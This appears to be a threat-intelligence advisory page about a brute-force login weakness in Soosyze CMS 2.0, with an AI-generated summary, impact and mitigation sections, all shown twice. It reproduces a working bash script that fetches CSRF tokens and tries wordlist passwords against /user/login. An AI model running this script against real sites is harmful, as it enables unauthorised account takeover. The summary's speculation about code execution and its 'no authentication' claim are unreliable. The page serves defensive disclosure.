Soosyze CMS 2.0 - Brute Force Login
Soosyze CMS 2.0 - Brute Force Login
AI Analysis
Technical Summary
The reported security threat concerns a brute force login vulnerability in Soosyze CMS version 2.0. This vulnerability allows attackers to systematically attempt multiple username and password combinations against the CMS's authentication mechanism without effective restrictions. The lack of rate limiting or account lockout mechanisms facilitates these brute force attempts. Successful exploitation can lead to unauthorized access to the CMS administrative interface. Given the tags including 'rce' (remote code execution), it is likely that once authenticated, an attacker can leverage additional vulnerabilities or CMS features to execute arbitrary code on the server, leading to full system compromise. The exploit is listed on Exploit-DB with ID 52416 and includes exploit code in plain text format, suggesting a script or manual attack vector. No specific affected versions or patches are provided, indicating that the vulnerability may be inherent to version 2.0 or earlier. No known active exploitation in the wild has been reported yet, but the critical severity rating underscores the urgent need for mitigation. The attack targets web-based login portals, a common attack surface for CMS platforms. The absence of CVSS score necessitates a severity assessment based on impact and exploitability factors.
Potential Impact
For European organizations using Soosyze CMS 2.0, this vulnerability poses a significant risk of unauthorized access to web administration portals. Once access is gained, attackers can potentially execute remote code, leading to data breaches, defacement, service disruption, or use of the compromised server as a pivot point for further attacks. Confidentiality, integrity, and availability of affected systems are at high risk. Organizations in sectors such as government, finance, healthcare, and critical infrastructure that rely on Soosyze CMS for web content management could face severe operational and reputational damage. The ease of exploitation without authentication or user interaction increases the threat level. Additionally, the lack of known patches or mitigations may delay response efforts, increasing exposure time. The exploit code availability further lowers the barrier for attackers, including less skilled threat actors. Overall, the threat could lead to widespread compromise of web assets in Europe if not addressed promptly.
Mitigation Recommendations
European organizations should immediately implement strict rate limiting and account lockout policies on Soosyze CMS login interfaces to prevent brute force attempts. Enabling multi-factor authentication (MFA) for all administrative accounts will significantly reduce the risk of unauthorized access. Organizations should audit and monitor login attempts for unusual patterns and deploy web application firewalls (WAFs) configured to detect and block brute force behaviors. Regularly updating Soosyze CMS to the latest version, once patches are available, is critical. In the absence of official patches, consider temporary mitigations such as IP blacklisting, CAPTCHA challenges on login forms, and restricting access to the admin interface by IP address or VPN. Conduct thorough security assessments of CMS installations to identify any post-compromise indicators. Educate administrators on strong password policies and the risks of credential reuse. Finally, maintain incident response readiness to quickly contain and remediate any breaches resulting from exploitation.
Affected Countries
France, Germany, United Kingdom, Netherlands, Belgium, Italy, Spain, Poland
Indicators of Compromise
- exploit-code: # Exploit Title: Soosyze CMS 2.0 - Brute Force Login # Google Dork: N/A # Date: 2025-08-13 # Exploit Author: Beatriz Fresno Naumova (beafn28) # Vendor Homepage: https://soosyze.com/ # Software Link: https://github.com/soosyze/soosyze # Version: 2.0 (tested) # Tested on: macOS Sonoma 14.x (Apple Silicon M1), /bin/bash 3.2 & Homebrew bash 5.2, curl 8.x, BSD sed # CVE : CVE-2025-52392 # Description: # Soosyze CMS 2.0 allows brute-force login attacks via /user/login due to missing rate limiting # and account lockout mechanisms. An attacker can submit unlimited POST requests with a known # username/email and a password wordlist, potentially gaining unauthorized access (CWE-307). # PoC Usage: # ./script.sh [wordlist.txt] # If no wordlist is provided, a dictionary is used. #!/usr/bin/env bash set -euo pipefail BASE_URL="http://localhost:8000" LOGIN_PATH="/user/login" EMAIL_FIELD="email" PASS_FIELD="password" TARGET_EMAIL="test@test.com" WORDLIST_FILE="${1:-}" DEFAULT_WORDS=("123456" "admin" "password" "qwerty" "letmein" "admin123" "password1") form_url="$BASE_URL$LOGIN_PATH" COOKIE_JAR="$(mktemp)" get_form() { curl -sS -c "$COOKIE_JAR" -b "$COOKIE_JAR" "$form_url" > /tmp/login_page.html } extract_token() { local name value name=$(sed -nE 's/.*name="([_a-zA-Z0-9:-]*(token|csrf)[_a-zA-Z0-9:-]*)".*type="hidden".*/\1/p' /tmp/login_page.html | head -n1 || true) value="" if [[ -n "$name" ]]; then value=$(sed -nE "s/.*name=\"$name\".*value=\"([^\"]*)\".*/\1/p" /tmp/login_page.html | head -n1 || true) fi printf '%s\t%s\n' "$name" "$value" } post_login() { local pass="$1" tname="$2" tval="$3" curl -sS -o /tmp/resp.html -w "%{http_code}" \ -c "$COOKIE_JAR" -b "$COOKIE_JAR" \ -X POST "$form_url" \ -H "Content-Type: application/x-www-form-urlencoded" \ -H "Origin: $BASE_URL" -H "Referer: $form_url" \ --data-urlencode "$EMAIL_FIELD=$TARGET_EMAIL" \ --data-urlencode "$PASS_FIELD=$pass" \ $( [[ -n "$tname" && -n "$tval" ]] && printf -- '--data-urlencode %s=%s' "$tname" "$tval" ) } echo "[*] Starting brute-force attack on $form_url" [[ -n "$WORDLIST_FILE" && -r "$WORDLIST_FILE" ]] && mapfile -t words < "$WORDLIST_FILE" || words=("${DEFAULT_WORDS[@]}") i=0 for pw in "${words[@]}"; do i=$((i+1)) get_form IFS=$'\t' read -r TOKEN_NAME TOKEN_VALUE < <(extract_token) code=$(post_login "$pw" "$TOKEN_NAME" "$TOKEN_VALUE") if grep -q '"redirect"' /tmp/resp.html; then echo -e "[$i] Password found: '\e[1m$pw\e[0m' (HTTP $code)" break else echo "[$i] '$pw' (HTTP $code)" fi sleep 0.$((RANDOM%9+1)) done rm -f "$COOKIE_JAR" /tmp/resp.html
Soosyze CMS 2.0 - Brute Force Login
Description
Soosyze CMS 2.0 - Brute Force Login
AI-Powered Analysis
Technical Analysis
The reported security threat concerns a brute force login vulnerability in Soosyze CMS version 2.0. This vulnerability allows attackers to systematically attempt multiple username and password combinations against the CMS's authentication mechanism without effective restrictions. The lack of rate limiting or account lockout mechanisms facilitates these brute force attempts. Successful exploitation can lead to unauthorized access to the CMS administrative interface. Given the tags including 'rce' (remote code execution), it is likely that once authenticated, an attacker can leverage additional vulnerabilities or CMS features to execute arbitrary code on the server, leading to full system compromise. The exploit is listed on Exploit-DB with ID 52416 and includes exploit code in plain text format, suggesting a script or manual attack vector. No specific affected versions or patches are provided, indicating that the vulnerability may be inherent to version 2.0 or earlier. No known active exploitation in the wild has been reported yet, but the critical severity rating underscores the urgent need for mitigation. The attack targets web-based login portals, a common attack surface for CMS platforms. The absence of CVSS score necessitates a severity assessment based on impact and exploitability factors.
Potential Impact
For European organizations using Soosyze CMS 2.0, this vulnerability poses a significant risk of unauthorized access to web administration portals. Once access is gained, attackers can potentially execute remote code, leading to data breaches, defacement, service disruption, or use of the compromised server as a pivot point for further attacks. Confidentiality, integrity, and availability of affected systems are at high risk. Organizations in sectors such as government, finance, healthcare, and critical infrastructure that rely on Soosyze CMS for web content management could face severe operational and reputational damage. The ease of exploitation without authentication or user interaction increases the threat level. Additionally, the lack of known patches or mitigations may delay response efforts, increasing exposure time. The exploit code availability further lowers the barrier for attackers, including less skilled threat actors. Overall, the threat could lead to widespread compromise of web assets in Europe if not addressed promptly.
Mitigation Recommendations
European organizations should immediately implement strict rate limiting and account lockout policies on Soosyze CMS login interfaces to prevent brute force attempts. Enabling multi-factor authentication (MFA) for all administrative accounts will significantly reduce the risk of unauthorized access. Organizations should audit and monitor login attempts for unusual patterns and deploy web application firewalls (WAFs) configured to detect and block brute force behaviors. Regularly updating Soosyze CMS to the latest version, once patches are available, is critical. In the absence of official patches, consider temporary mitigations such as IP blacklisting, CAPTCHA challenges on login forms, and restricting access to the admin interface by IP address or VPN. Conduct thorough security assessments of CMS installations to identify any post-compromise indicators. Educate administrators on strong password policies and the risks of credential reuse. Finally, maintain incident response readiness to quickly contain and remediate any breaches resulting from exploitation.
Affected Countries
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Technical Details
- Edb Id
- 52416
- Has Exploit Code
- true
- Code Language
- text
Indicators of Compromise
Exploit Source Code
Exploit code for Soosyze CMS 2.0 - Brute Force Login
# Exploit Title: Soosyze CMS 2.0 - Brute Force Login # Google Dork: N/A # Date: 2025-08-13 # Exploit Author: Beatriz Fresno Naumova (beafn28) # Vendor Homepage: https://soosyze.com/ # Software Link: https://github.com/soosyze/soosyze # Version: 2.0 (tested) # Tested on: macOS Sonoma 14.x (Apple Silicon M1), /bin/bash 3.2 & Homebrew bash 5.2, curl 8.x, BSD sed # CVE : CVE-2025-52392 # Description: # Soosyze CMS 2.0 allows brute-force login attacks via /user/login due to missing rate limiting # a
... (2219 more characters)
Threat ID: 68a3d92dad5a09ad00eed706
Added to database: 8/19/2025, 1:53:49 AM
Last enriched: 10/11/2025, 1:01:59 AM
Last updated: 10/15/2025, 4:57:51 AM
Views: 57
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